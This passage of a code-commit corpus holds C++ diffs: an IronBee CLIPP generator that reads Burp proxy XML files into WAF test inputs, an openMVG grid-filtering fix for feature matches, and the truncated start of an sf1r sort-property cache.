BurpProcessor::nodeContentToBuffer(const xmlNodePtr node)\n{\n    const xmlChar* base64Value = xmlGetProp(node, BASE_64_PROP);\n\n    std::string s(\"\");\n    m_strings.push_back(s);\n    std::string &buffer_content = m_strings.back();\n    buffer_content = nodeContent(node);\n\n    \/\/ If buffer_content contains base64 data, we must decode it.\n    if (base64Value != NULL &&\n        boost::iequals(reinterpret_cast<const char*>(base64Value), \"true\")\n    ) {\n\n        \/\/ Before doing any Base64 decode work, remove all the whitespace.\n        \/\/ This is required by stringencoders to not error-out.\n        boost::algorithm::replace_regex(\n            buffer_content,\n            boost::regex(\"\\\\s+\"),\n            std::string(\"\"),\n            boost::match_default\n        );\n\n        \/\/ Make a buffer to write the result into.\n        std::vector<char> decoded_content(\n            modp_b64_decode_len(buffer_content.length()));\n\n        \/\/ Decode the request\/response.\n        size_t decoded_content_len = modp_b64_decode(\n            &decoded_content[0],\n            buffer_content.data(),\n            buffer_content.length()\n        );\n\n        \/\/ Error.\n        if (decoded_content_len == -1) {\n            return Input::Buffer(\"\", 0);\n        }\n\n        \/\/ Replace the Base 64 data with the decoded data.\n        \/\/ We copy into buffer_content to ensure the lifetime of\n        \/\/ this data extends beyond this scope. On return\n        \/\/ decoded_content will be erased.\n        buffer_content = std::string(&decoded_content[0], 0, decoded_content_len);\n    }\n\n    return Input::Buffer(\n        buffer_content.data(),\n        buffer_content.length()\n    );\n}\n\n} \/\/ anonymous namespace\n\nstruct BurpGenerator::State {\n    State()\n    :\n        m_path(\"\"),\n        m_burp_processor(m_path.c_str()),\n        m_output_generated(false),\n        i(0)\n    {\n    }\n\n    explicit\n    State(const std::string& path)\n    :\n        m_path(path),\n        m_burp_processor(m_path.c_str()),\n        m_output_generated(false),\n        i(0)\n    {\n    }\n\n    std::string   m_path;\n    BurpProcessor m_burp_processor;\n    bool m_output_generated;\n    int i;\n};\n\nBurpGenerator::BurpGenerator()\n:\n    m_state(new State(\"-\"))\n{\n}\n\nBurpGenerator::BurpGenerator(const std::string& path)\n:\n    m_state(new State(path))\n{\n}\n\nbool BurpGenerator::operator()(Input::input_p& out_input)\n{\n    BurpProcessor& bp = m_state->m_burp_processor;\n\n    \/\/ Reset Input\n    out_input.reset(new Input::Input());\n    out_input->id = m_state->m_path;\n\n    m_state->m_output_generated = bp(out_input);\n\n    return m_state->m_output_generated;\n}\n\n\n} \/\/ CLIPP\n} \/\/ IronBee\n\n<commit_msg>burp_generator.cpp: Add missing conn closed and parse modifier. RNS-1658<commit_after>\/*****************************************************************************\n * Licensed to Qualys, Inc. (QUALYS) under one or more\n * contributor license agreements.  See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * QUALYS licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n ****************************************************************************\/\n\n\/**\n * @file\n * @brief IronBee --- CLIPP Burp Generator.\n *\n * @author Sam Baskinger <sbaskinger@qualys.com>\n *\/\n\n\n#include <burp_generator.hpp>\n\n#include <clipp\/parse_modifier.hpp>\n#include <clipp\/input.hpp>\n\n#include <stdexcept>\n#include <vector>\n\n#ifdef __clang__\n#pragma clang diagnostic push\n#if __has_warning(\"-Wunknown-attributes\")\n#pragma clang diagnostic ignored \"-Wunknown-attributes\"\n#endif\n#endif\n#include <libxml\/tree.h>\n#include <libxml\/parser.h>\n#include <libxml\/xpath.h>\n#ifdef __clang__\n#pragma clang diagnostic pop\n#endif\n\n#include <boost\/shared_ptr.hpp>\n#include <boost\/throw_exception.hpp>\n\n#ifdef __clang__\n#pragma clang diagnostic push\n#if __has_warning(\"-Wunused-local-typedef\")\n#pragma clang diagnostic ignored \"-Wunused-local-typedef\"\n#endif\n#endif\n#include <boost\/algorithm\/string\/predicate.hpp>\n#include <boost\/algorithm\/string\/regex.hpp>\n#ifdef __clang__\n#pragma clang diagnostic pop\n#endif\n\n#include <modp_b64.h>\n\nnamespace IronBee {\nnamespace CLIPP {\n\nnamespace {\n\n\/**\n * This class handles processing Burp proxy XML files.\n *\n * It is responcible for allocating and destroying C objects\n * and breaking up the XML file processing into relevant parts.\n *\/\nclass BurpProcessor {\n\npublic:\n    \/**\n     * Constructor for a BurpProcessor.\n     *\n     * @param[in] file XML input file.\n     * @throws std::runtime_error on any failure.\n     *\/\n    BurpProcessor(const char *file);\n\n    \/**\n     * Process the next <item> tag of the Burp proxy xml file.\n     *\n     * This opens a new connection for each <item>. Then records\n     * the raw <request> and <response> contents.\n     *\n     * @param[in] input The input to have events recorded to.\n     * @returns True if an <item> tag was processed. False otherwise.\n     *\/\n    bool operator()(Input::input_p& input);\n\n    \/\/! Called by operator() to record and open\/close connection events.\n    void initialize_input(Input::input_p& out_input, xmlNodePtr item);\n\n    \/\/! Called by operator() to process the tx in an <item>.\n    void process_tx(Input::input_p& out_input, xmlNodePtr item);\n\n    \/\/! Cleanup libxml2 state.\n    ~BurpProcessor();\n\nprivate:\n    \/\/! Document.\n    xmlDocPtr m_doc;\n    \/\/! Current node being operated on. This should probably be a local val.\n    xmlNodePtr m_cur;\n    \/\/! Context for XPath operations.\n    xmlXPathContextPtr m_xpath_ctx;\n    \/\/! XPath for \/items\/item which is the section of the file of interest.\n    xmlXPathObjectPtr m_xpath_obj;\n    \/\/! Index into m_xpath_obj node table.\n    size_t m_item_idx;\n\n\n    \/**\n     * Store strings that must live the duration this object.\n     *\n     * Because Clipp tries to avoid copying data, the lifetime of\n     * a string must go beyond a function call.\n     * This is a list of strings we allocate and must clean up\n     * when this object is eventually destroyed.\n     *\/\n    std::list<std::string> m_strings;\n\n    \/**\n     * Compare @a name to the XML node name.\n     *\n     * @param[in] name The name to check for.\n     * @param[in] node The node to extract and compare the name to.\n     *\n     * @return True of @a name matches @a node->name, false otherwise.\n     *\/\n    bool name_is(const char * name, xmlNodePtr node);\n\n    \/**\n     * Recursively serialize the TEXT contents of @a node.\n     *\n     * The algorithm is that for every child node\n     * that has no children, the content is appended to a string.\n     * If a child has children, those children are recursively\n     * processed in a depth-first traversal of the node tree.\n     *\n     * @param[in] node The node to serialize all the contents of.\n     *\/\n    std::string nodeContent(const xmlNodePtr node);\n\n    \/**\n     * Using BurpGenerator::nodeContent() convert @a node to a Buffer.\n     *\n     * This will intern the string prodcued in the m_strings\n     * collection so that it will not be destroyed and the Buffer\n     * can reference that memory.\n     *\n     * @param[in] node The node to get the content of.\n     *\/\n    Input::Buffer nodeContentToBuffer(const xmlNodePtr node);\n\n    static const xmlChar* BASE_64_PROP;\n};\n\nconst xmlChar* BurpProcessor::BASE_64_PROP =\n    reinterpret_cast<const xmlChar*>(\"base64\");\n\nBurpProcessor::BurpProcessor(const char *file)\n:\n    m_doc(xmlParseFile(file)),\n    m_cur(NULL),\n    m_xpath_ctx(NULL),\n    m_xpath_obj(NULL),\n    m_item_idx(0)\n{\n    \/\/ Document failed to parse.\n    if (m_doc == NULL ) {\n        \/\/ We are in a constructor. Destroy m_doc manually.\n        xmlFreeDoc(m_doc);\n        BOOST_THROW_EXCEPTION(\n            std::runtime_error(\"Cannot parse XML file.\")\n        );\n    }\n\n    \/\/ Current root node.\n    m_cur = xmlDocGetRootElement(m_doc);\n    if (m_cur == NULL) {\n        \/\/ We are in a constructor. Destroy m_doc manually.\n        xmlFreeDoc(m_doc);\n        BOOST_THROW_EXCEPTION(\n            std::runtime_error(\"Empty file.\")\n        );\n    }\n\n    m_xpath_ctx = xmlXPathNewContext(m_doc);\n    if (m_xpath_ctx == NULL) {\n        \/\/ We are in a constructor. Destroy m_doc manually.\n        xmlFreeDoc(m_doc);\n        BOOST_THROW_EXCEPTION(\n            std::runtime_error(\"Failed to allocate an XPath context.\")\n        );\n    }\n\n    \/\/ Grab all \/items\/item blocks.\n    m_xpath_obj = xmlXPathEval(\n        reinterpret_cast<const xmlChar*>(\"\/items\/item\"),\n        m_xpath_ctx\n    );\n    if (m_xpath_obj == NULL) {\n        \/\/ We are in a constructor. Destroy m_doc and m_xpath_ctx manually.\n        xmlFreeDoc(m_doc);\n        xmlXPathFreeContext(m_xpath_ctx);\n        BOOST_THROW_EXCEPTION(\n            std::runtime_error(\"Failed to allocate XPath \/items\/item.\")\n        );\n    }\n}\n\nBurpProcessor::~BurpProcessor()\n{\n    xmlXPathFreeObject(m_xpath_obj);\n    xmlXPathFreeContext(m_xpath_ctx);\n    xmlFreeDoc(m_doc);\n}\n\nbool BurpProcessor::operator()(Input::input_p& input)\n{\n    \/\/ For each item node.\n    if (m_item_idx < m_xpath_obj->nodesetval->nodeNr)\n    {\n        xmlNodePtr node = m_xpath_obj->nodesetval->nodeTab[m_item_idx];\n\n        initialize_input(input, node);\n\n        process_tx(input, node);\n\n        ++m_item_idx;\n\n        return true;\n    }\n    else {\n       return false;\n    }\n}\n\nvoid BurpProcessor::process_tx(Input::input_p& out_input, xmlNodePtr item)\n{\n    Input::Buffer request;\n    Input::Buffer response;\n    for (xmlNodePtr i = item->children; i != NULL; i = i->next) {\n        if (name_is(\"request\", i)) {\n            request = nodeContentToBuffer(i);\n        }\n        else if (name_is(\"response\", i)) {\n            response = nodeContentToBuffer(i);\n        }\n    }\n\n    out_input->connection.add_transaction(request, response);\n\n    ParseModifier()(out_input);\n}\n\nvoid BurpProcessor::initialize_input(Input::input_p& out_input, xmlNodePtr item)\n{\n\n    Input::Buffer local_ip(\"1.2.3.4\", 7);\n    uint32_t      local_port  = 80;\n    Input::Buffer remote_ip(\"5.6.7.8\", 7);\n    uint32_t      remote_port = 1234;\n\n    for (xmlNodePtr i = item->children; i != NULL; i = i->next) {\n        if (name_is(\"host\", i)) {\n            local_ip = nodeContentToBuffer(i);\n        }\n        else if (name_is(\"port\", i)) {\n            local_port = atoi(nodeContent(i).c_str());\n        }\n    }\n\n    \/\/ Record 2 events - pre-tx connection open and a post-tx connection close.\n    out_input->connection.connection_opened(\n        local_ip,\n        local_port,\n        remote_ip,\n        remote_port\n    );\n    out_input->connection.connection_closed();\n}\n\nbool BurpProcessor::name_is(const char * name, xmlNodePtr node)\n{\n    \/\/ For the range of values it is OK to reinterpret_cast\n    \/\/ what is an unsigned char* to a char*.\n    return boost::iequals(\n        reinterpret_cast<const char*>(node->name),\n        name\n    );\n}\n\nstd::string BurpProcessor::nodeContent(const xmlNodePtr node)\n{\n    \/\/ If this is a text node, serialize it to a string.\n    if (node->type == XML_TEXT_NODE) {\n        size_t len = strlen(reinterpret_cast<const char *>(node->content));\n        std::string content(node->content, node->content + len);\n        return content;\n    }\n    \/\/ Assume any node with no children might have text.\n    else if (node->children == NULL) {\n        size_t len = strlen(reinterpret_cast<const char *>(node->content));\n        std::string content(node->content, node->content + len);\n        return content;\n    }\n    \/\/ In all other cases, try to descend the tree, depth first.\n    else {\n        std::string content;\n        for (xmlNodePtr i = node->children; i != NULL; i = i->next) {\n            content += nodeContent(i);\n        }\n        return content;\n    }\n}\n\nInput::Buffer BurpProcessor::nodeContentToBuffer(const xmlNodePtr node)\n{\n    const xmlChar* base64Value = xmlGetProp(node, BASE_64_PROP);\n\n    std::string s(\"\");\n    m_strings.push_back(s);\n    std::string &buffer_content = m_strings.back();\n    buffer_content = nodeContent(node);\n\n    \/\/ If buffer_content contains base64 data, we must decode it.\n    if (base64Value != NULL &&\n        boost::iequals(reinterpret_cast<const char*>(base64Value), \"true\")\n    ) {\n\n        \/\/ Before doing any Base64 decode work, remove all the whitespace.\n        \/\/ This is required by stringencoders to not error-out.\n        boost::algorithm::replace_regex(\n            buffer_content,\n            boost::regex(\"\\\\s+\"),\n            std::string(\"\"),\n            boost::match_default\n        );\n\n        \/\/ Make a buffer to write the result into.\n        std::vector<char> decoded_content(\n            modp_b64_decode_len(buffer_content.length()));\n\n        \/\/ Decode the request\/response.\n        size_t decoded_content_len = modp_b64_decode(\n            &decoded_content[0],\n            buffer_content.data(),\n            buffer_content.length()\n        );\n\n        \/\/ Error.\n        if (decoded_content_len == -1) {\n            return Input::Buffer(\"\", 0);\n        }\n\n        \/\/ Replace the Base 64 data with the decoded data.\n        \/\/ We copy into buffer_content to ensure the lifetime of\n        \/\/ this data extends beyond this scope. On return\n        \/\/ decoded_content will be erased.\n        buffer_content = std::string(&decoded_content[0], 0, decoded_content_len);\n    }\n\n    return Input::Buffer(\n        buffer_content.data(),\n        buffer_content.length()\n    );\n}\n\n} \/\/ anonymous namespace\n\nstruct BurpGenerator::State {\n    State()\n    :\n        m_path(\"\"),\n        m_burp_processor(m_path.c_str()),\n        m_output_generated(false),\n        i(0)\n    {\n    }\n\n    explicit\n    State(const std::string& path)\n    :\n        m_path(path),\n        m_burp_processor(m_path.c_str()),\n        m_output_generated(false),\n        i(0)\n    {\n    }\n\n    std::string   m_path;\n    BurpProcessor m_burp_processor;\n    bool m_output_generated;\n    int i;\n};\n\nBurpGenerator::BurpGenerator()\n:\n    m_state(new State(\"-\"))\n{\n}\n\nBurpGenerator::BurpGenerator(const std::string& path)\n:\n    m_state(new State(path))\n{\n}\n\nbool BurpGenerator::operator()(Input::input_p& out_input)\n{\n    BurpProcessor& bp = m_state->m_burp_processor;\n\n    \/\/ Reset Input\n    out_input.reset(new Input::Input());\n    out_input->id = m_state->m_path;\n\n    m_state->m_output_generated = bp(out_input);\n\n    return m_state->m_output_generated;\n}\n\n\n} \/\/ CLIPP\n} \/\/ IronBee\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"selection.hpp\"\n\n\/**\n* @brief Sort the matches.\n* @param[in] inputMatches Set of indices for (putative) matches.\n* @param[in] regionsI Pointer to the regions of the left image.\n* @param[in] regionsJ Pointer to the regions of the right image.\n* @param[out] outputMatches Subset of inputMatches containing the best n matches, sorted.\n*\/\nvoid sortMatches(\n\tconst openMVG::matching::IndMatches& inputMatches,\n\tconst openMVG::features::Feat_Regions<openMVG::features::SIOPointFeature> *regionsI,\n\tconst openMVG::features::Feat_Regions<openMVG::features::SIOPointFeature> *regionsJ,\n\topenMVG::matching::IndMatches& outputMatches)\n{\n\tif (!regionsI || !regionsJ)\n  {\n    throw std::runtime_error(\"Can't sort matches: One or both regions provided were NULL.\");\n\t}\n\tconst std::vector<openMVG::features::SIOPointFeature>& vecFeatureI = regionsI->Features();\n\tconst std::vector<openMVG::features::SIOPointFeature>& vecFeatureJ = regionsJ->Features();\n\n\tstd::cout << \"Inside matcher: Left features: \" << vecFeatureI.size() << \" Right features: \" << vecFeatureJ.size() << \" Num Matches: \" << inputMatches.size() << std::endl;\n\n\t\/\/outputMatches will contain the sorted matches if inputMatches.\n\toutputMatches.reserve(inputMatches.size());\n\n\t\/\/This vector is just a temporary container to link the index of the matches in the original vector inputMatches.\n\t\/\/It will be used to retrieve the correct matches after the sort.\n\tstd::vector<std::pair<float, size_t>> vecFeatureScale;\n\n\tfor (size_t i = 0; i < inputMatches.size(); i++)\n  {\n\t\tfloat scale1 = vecFeatureI[inputMatches[i]._i].scale();\n\t\tfloat scale2 = vecFeatureJ[inputMatches[i]._j].scale();\n\t\tvecFeatureScale.emplace_back((scale1 + scale2) \/ 2.0, i);\n\t}\n\n\tstd::sort(vecFeatureScale.begin(), vecFeatureScale.end(), matchCompare);\n\n\t\/\/The sorted match vector is filled according to the result of the sorting above.\n\tfor (size_t i = 0; i < vecFeatureScale.size(); i++)\n  {\n\t\toutputMatches.push_back(inputMatches[vecFeatureScale[i].second]);\n\t}\n}\n\n\/**\n* @brief Compare method used in the match sorting.\n* @param[in] firstElem The first element to be compared.\n* @param[in] secondElem The second element to be compared.\n* @return True if firstElem is less than secondElem.\n*\/\nbool matchCompare(const std::pair<float, size_t>& firstElem, const std::pair<float, size_t>& secondElem)\n{\n  \/\/ TODO: check scale\n\treturn firstElem.first > secondElem.first;\n}\n\n\/**\n* @brief Extracts by copy the first (and best) uNumMatchesToKeep.\n* @param[out] outputMatches Set of image pairs and their respective sets of matches thresholded to the first uNumMatchesToKeep.\n* @param[in] uNumMatchesToKeep The N best matches to keep.\n*\/\nvoid thresholdMatches(openMVG::matching::IndMatches& outputMatches, const std::size_t uNumMatchesToKeep)\n{\n\tif (outputMatches.size() > uNumMatchesToKeep) {\n\t\toutputMatches.resize(uNumMatchesToKeep);\n\t}\n}\n\n\/**\n * @brief Perform the gris filtering on the matches\n * @param[in] lRegions The regions of the first picture\n * @param[in] rRegions The regions of the second picture\n * @param[in] indexImagePair The Pair of matched images\n * @param[in] sfm_data The sfm data file\n * @param[out] outMatches The remaining matches\n *\/\nvoid matchesGridFiltering(const openMVG::features::Feat_Regions<openMVG::features::SIOPointFeature>* lRegions, \n        const openMVG::features::Feat_Regions<openMVG::features::SIOPointFeature>* rRegions, \n        const openMVG::Pair& indexImagePair,\n        const openMVG::sfm::SfM_Data sfm_data, \n        openMVG::matching::IndMatches& outMatches)\n{\n  std::cout << \"Grid Phase. \" << std::endl;\n  const std::size_t lWidth = sfm_data.GetViews().at(indexImagePair.first)->ui_width;\n  const std::size_t lHeight = sfm_data.GetViews().at(indexImagePair.first)->ui_height;\n  const std::size_t rWidth = sfm_data.GetViews().at(indexImagePair.second)->ui_width;\n  const std::size_t rHeight = sfm_data.GetViews().at(indexImagePair.second)->ui_height;\n  \n  const size_t gridSize = 5;\n  \n  const size_t leftCellHeight = std::ceil(lHeight \/ (float)gridSize);\n  const size_t leftCellWidth = std::ceil(lWidth \/ (float)gridSize);\n  const size_t rightCellHeight = std::ceil(rHeight \/ (float)gridSize);\n  const size_t rightCellWidth = std::ceil(rWidth \/ (float)gridSize);\n\n  std::vector< openMVG::matching::IndMatches > completeGrid(gridSize*gridSize*2);\n  \/\/ Reserve all cells\n  for(openMVG::matching::IndMatches& cell: completeGrid)\n  {\n    cell.reserve(outMatches.size()\/completeGrid.size());\n  }\n  \/\/ Split matches in grid cells\n  for(const auto& match: outMatches)\n  {\n    const openMVG::features::SIOPointFeature& leftPoint = lRegions->Features()[match._i];\n    const openMVG::features::SIOPointFeature& rightPoint = rRegions->Features()[match._j];\n    \n    const size_t leftGridIndex = std::floor(leftPoint.x() \/ (float)leftCellWidth) + std::floor(leftPoint.y() \/ (float)leftCellHeight) * gridSize;\n    const size_t rightGridIndex = std::floor(rightPoint.x() \/ (float)rightCellWidth) + std::floor(rightPoint.y() \/ (float)rightCellHeight) * gridSize;\n    \n    openMVG::matching::IndMatches& currentCaseL = completeGrid[leftGridIndex];\n    openMVG::matching::IndMatches& currentCaseR = completeGrid[rightGridIndex + gridSize*gridSize];\n    \n    if(currentCaseL.size() > currentCaseR.size())\n    {\n      currentCaseR.push_back(match);\n    }\n    else\n    {\n      currentCaseL.push_back(match);\n    }\n  }\n  \n  \/\/ max Size of the cells:\n  int maxSize = 0;\n  for (const auto& cell: completeGrid)\n  {\n    if(cell.size() > maxSize)\n    {\n      maxSize = cell.size();\n    }\n  }\n   \n  \/\/ Combine all cells into a global ordered vector\n  for (int cmpt = 0; cmpt < maxSize; ++cmpt)\n  {\n    for(const auto& cell: completeGrid)\n    {\n      if(cell.size() > cmpt)\n      {\n        outMatches.push_back(cell[cmpt]);\n      }\n    }\n  }\n  \n}\n<commit_msg>[matching] Fix on gridMatching<commit_after>#include \"selection.hpp\"\n\nconst size_t gridSize = 3;\n  \n\/**\n* @brief Sort the matches.\n* @param[in] inputMatches Set of indices for (putative) matches.\n* @param[in] regionsI Pointer to the regions of the left image.\n* @param[in] regionsJ Pointer to the regions of the right image.\n* @param[out] outputMatches Subset of inputMatches containing the best n matches, sorted.\n*\/\nvoid sortMatches(\n\tconst openMVG::matching::IndMatches& inputMatches,\n\tconst openMVG::features::Feat_Regions<openMVG::features::SIOPointFeature> *regionsI,\n\tconst openMVG::features::Feat_Regions<openMVG::features::SIOPointFeature> *regionsJ,\n\topenMVG::matching::IndMatches& outputMatches)\n{\n\tif (!regionsI || !regionsJ)\n  {\n    throw std::runtime_error(\"Can't sort matches: One or both regions provided were NULL.\");\n\t}\n\tconst std::vector<openMVG::features::SIOPointFeature>& vecFeatureI = regionsI->Features();\n\tconst std::vector<openMVG::features::SIOPointFeature>& vecFeatureJ = regionsJ->Features();\n\n\tstd::cout << \"Inside matcher: Left features: \" << vecFeatureI.size() << \" Right features: \" << vecFeatureJ.size() << \" Num Matches: \" << inputMatches.size() << std::endl;\n\n\t\/\/outputMatches will contain the sorted matches if inputMatches.\n\toutputMatches.reserve(inputMatches.size());\n\n\t\/\/This vector is just a temporary container to link the index of the matches in the original vector inputMatches.\n\t\/\/It will be used to retrieve the correct matches after the sort.\n\tstd::vector<std::pair<float, size_t>> vecFeatureScale;\n\n\tfor (size_t i = 0; i < inputMatches.size(); i++)\n  {\n\t\tfloat scale1 = vecFeatureI[inputMatches[i]._i].scale();\n\t\tfloat scale2 = vecFeatureJ[inputMatches[i]._j].scale();\n\t\tvecFeatureScale.emplace_back((scale1 + scale2) \/ 2.0, i);\n\t}\n\n\tstd::sort(vecFeatureScale.begin(), vecFeatureScale.end(), matchCompare);\n\n\t\/\/The sorted match vector is filled according to the result of the sorting above.\n\tfor (size_t i = 0; i < vecFeatureScale.size(); i++)\n  {\n\t\toutputMatches.push_back(inputMatches[vecFeatureScale[i].second]);\n\t}\n}\n\n\/**\n* @brief Compare method used in the match sorting.\n* @param[in] firstElem The first element to be compared.\n* @param[in] secondElem The second element to be compared.\n* @return True if firstElem is less than secondElem.\n*\/\nbool matchCompare(const std::pair<float, size_t>& firstElem, const std::pair<float, size_t>& secondElem)\n{\n\treturn firstElem.first > secondElem.first;\n}\n\n\/**\n* @brief Extracts by copy the first (and best) uNumMatchesToKeep.\n* @param[out] outputMatches Set of image pairs and their respective sets of matches thresholded to the first uNumMatchesToKeep.\n* @param[in] uNumMatchesToKeep The N best matches to keep.\n*\/\nvoid thresholdMatches(openMVG::matching::IndMatches& outputMatches, const std::size_t uNumMatchesToKeep)\n{\n\tif (outputMatches.size() > uNumMatchesToKeep) {\n\t\toutputMatches.resize(uNumMatchesToKeep);\n\t}\n}\n\n\/**\n * @brief Perform the gris filtering on the matches\n * @param[in] lRegions The regions of the first picture\n * @param[in] rRegions The regions of the second picture\n * @param[in] indexImagePair The Pair of matched images\n * @param[in] sfm_data The sfm data file\n * @param[out] outMatches The remaining matches\n *\/\nvoid matchesGridFiltering(const openMVG::features::Feat_Regions<openMVG::features::SIOPointFeature>* lRegions, \n        const openMVG::features::Feat_Regions<openMVG::features::SIOPointFeature>* rRegions, \n        const openMVG::Pair& indexImagePair,\n        const openMVG::sfm::SfM_Data sfm_data, \n        openMVG::matching::IndMatches& outMatches)\n{\n  std::cout << \"Grid Phase. \" << std::endl;\n  const std::size_t lWidth = sfm_data.GetViews().at(indexImagePair.first)->ui_width;\n  const std::size_t lHeight = sfm_data.GetViews().at(indexImagePair.first)->ui_height;\n  const std::size_t rWidth = sfm_data.GetViews().at(indexImagePair.second)->ui_width;\n  const std::size_t rHeight = sfm_data.GetViews().at(indexImagePair.second)->ui_height;\n  \n  const size_t leftCellHeight = std::ceil(lHeight \/ (float)gridSize);\n  const size_t leftCellWidth = std::ceil(lWidth \/ (float)gridSize);\n  const size_t rightCellHeight = std::ceil(rHeight \/ (float)gridSize);\n  const size_t rightCellWidth = std::ceil(rWidth \/ (float)gridSize);\n\n  std::vector< openMVG::matching::IndMatches > completeGrid(gridSize*gridSize*2);\n  \/\/ Reserve all cells\n  for(openMVG::matching::IndMatches& cell: completeGrid)\n  {\n    cell.reserve(outMatches.size()\/completeGrid.size());\n  }\n  \/\/ Split matches in grid cells\n  for(const auto& match: outMatches)\n  {\n    const openMVG::features::SIOPointFeature& leftPoint = lRegions->Features()[match._i];\n    const openMVG::features::SIOPointFeature& rightPoint = rRegions->Features()[match._j];\n    \n    const size_t leftGridIndex = std::floor(leftPoint.x() \/ (float)leftCellWidth) + std::floor(leftPoint.y() \/ (float)leftCellHeight) * gridSize;\n    const size_t rightGridIndex = std::floor(rightPoint.x() \/ (float)rightCellWidth) + std::floor(rightPoint.y() \/ (float)rightCellHeight) * gridSize;\n    \n    openMVG::matching::IndMatches& currentCaseL = completeGrid[leftGridIndex];\n    openMVG::matching::IndMatches& currentCaseR = completeGrid[rightGridIndex + gridSize*gridSize];\n    \n    if(currentCaseL.size() > currentCaseR.size())\n    {\n      currentCaseR.push_back(match);\n    }\n    else\n    {\n      currentCaseL.push_back(match);\n    }\n  }\n  \n  \/\/ max Size of the cells:\n  int maxSize = 0;\n  for (const auto& cell: completeGrid)\n  {\n    if(cell.size() > maxSize)\n    {\n      maxSize = cell.size();\n    }\n  }\n   \n  openMVG::matching::IndMatches finalMatches;\n  finalMatches.reserve(outMatches.size());\n  \n  \/\/ Combine all cells into a global ordered vector\n  for (int cmpt = 0; cmpt < maxSize; ++cmpt)\n  {\n    for(const auto& cell: completeGrid)\n    {\n      if(cell.size() > cmpt)\n      {\n        finalMatches.push_back(cell[cmpt]);\n      }\n    }\n  }\n  \n  outMatches.swap(finalMatches);\n  \n}\n}<|endoftext|>"}
{"text":"<commit_before>#include \"Sorter.h\"\r\n\r\n#include <document-manager\/DocumentManager.h>\r\n#include <index-manager\/IndexManager.h>\r\n#include <mining-manager\/faceted-submanager\/ctr_manager.h>\r\n#include <bundles\/index\/IndexBundleConfiguration.h>\r\n#include <common\/PropSharedLockSet.h>\r\n\r\nnamespace sf1r\r\n{\r\n\r\nconst char SortPropertyCache::Separator[] = {'-', '~', ','};\r\n\r\nSortProperty::SortProperty(const SortProperty& src)\r\n    : property_(src.property_)\r\n    , propertyDataType_(src.propertyDataType_)\r\n    , type_(src.type_)\r\n    , reverse_(src.reverse_)\r\n    , pComparator_(src.pComparator_)\r\n{\r\n}\r\n\r\nSortProperty::SortProperty(const string& property, PropertyDataType propertyType, bool reverse)\r\n    : property_(property)\r\n    , propertyDataType_(propertyType)\r\n    , type_(AUTO)\r\n    , reverse_(reverse)\r\n    , pComparator_(NULL)\r\n{\r\n}\r\n\r\nSortProperty::SortProperty(const string& property, PropertyDataType propertyType, SortPropertyType type, bool reverse)\r\n    : property_(property)\r\n    , propertyDataType_(propertyType)\r\n    , type_(type)\r\n    , reverse_(reverse)\r\n    , pComparator_(NULL)\r\n{\r\n}\r\nSortProperty::SortProperty(const string& property, PropertyDataType propertyType, SortPropertyComparator* pComparator, bool reverse)\r\n    : property_(property)\r\n    , propertyDataType_(propertyType)\r\n    , type_(CUSTOM)\r\n    , reverse_(reverse)\r\n    , pComparator_(pComparator)\r\n{\r\n}\r\n\r\nSortProperty::SortProperty(const string& property, PropertyDataType propertyType, SortPropertyComparator* pComparator, SortPropertyType type, bool reverse)\r\n    : property_(property)\r\n    , propertyDataType_(propertyType)\r\n    , type_(type)\r\n    , reverse_(reverse)\r\n    , pComparator_(pComparator)\r\n{\r\n}\r\n\r\nSortProperty::~SortProperty()\r\n{\r\n    if (pComparator_)\r\n        delete pComparator_;\r\n}\r\n\r\nSortPropertyCache::SortPropertyCache(DocumentManager* pDocumentManager, IndexManager* pIndexer, IndexBundleConfiguration* config)\r\n    : pDocumentManager_(pDocumentManager)\r\n    , pIndexer_(pIndexer)\r\n    , pCTRManager_(NULL)\r\n    , updateInterval_(config->sortCacheUpdateInterval_)\r\n    , dirty_(true)\r\n    , config_(config)\r\n{\r\n    std::cout << \"SortPropertyCache::updateInterval_ = \" << updateInterval_ << std::endl;\r\n}\r\n\r\nvoid SortPropertyCache::setCtrManager(faceted::CTRManager* pCTRManager)\r\n{\r\n    pCTRManager_ = pCTRManager;\r\n}\r\n\r\nvoid SortPropertyCache::loadSortData(const std::string& property, PropertyDataType type)\r\n{\r\n    boost::shared_ptr<NumericPropertyTableBase>& numericPropertyTable = sortDataCache_[property];\r\n    if (type == STRING_PROPERTY_TYPE)\r\n    {\r\n        std::size_t size = pIndexer_->getIndexReader()->maxDoc();\r\n        if (size)\r\n        {\r\n            pIndexer_->convertStringPropertyDataForSorting(property, numericPropertyTable);\r\n        }\r\n    }\r\n    else\r\n    {\r\n        boost::shared_ptr<NumericPropertyTableBase>& tempTable = pDocumentManager_->getNumericPropertyTable(property);\r\n        if (tempTable)\r\n        {\r\n            numericPropertyTable = tempTable;\r\n        }\r\n        else\r\n        {\r\n            switch (type)\r\n            {\r\n            case INT32_PROPERTY_TYPE:\r\n            case INT8_PROPERTY_TYPE:\r\n            case INT16_PROPERTY_TYPE:\r\n                pIndexer_->loadPropertyDataForSorting<int32_t>(property, type, numericPropertyTable);\r\n                break;\r\n\r\n            case FLOAT_PROPERTY_TYPE:\r\n                pIndexer_->loadPropertyDataForSorting<float>(property, type, numericPropertyTable);\r\n                break;\r\n\r\n            case INT64_PROPERTY_TYPE:\r\n            case DATETIME_PROPERTY_TYPE:\r\n                pIndexer_->loadPropertyDataForSorting<int64_t>(property, type, numericPropertyTable);\r\n                break;\r\n\r\n            case DOUBLE_PROPERTY_TYPE:\r\n                pIndexer_->loadPropertyDataForSorting<double>(property, type, numericPropertyTable);\r\n                break;\r\n\r\n            default:\r\n                break;\r\n            }\r\n        }\r\n    }\r\n}\r\n\r\nboost::shared_ptr<NumericPropertyTableBase>& SortPropertyCache::getSortPropertyData(const std::string& propertyName, PropertyDataType propertyType)\r\n{\r\n    boost::mutex::scoped_lock lock(this->mutex_);\r\n    if (dirty_)\r\n    {\r\n        for (SortDataCache::iterator iter = sortDataCache_.begin();\r\n                iter != sortDataCache_.end(); ++iter)\r\n        {\r\n            LOG(INFO) << \"dirty sort data cache on property: \" << iter->first;\r\n            if (iter->second) loadSortData(iter->first, iter->second->getType());\r\n        }\r\n        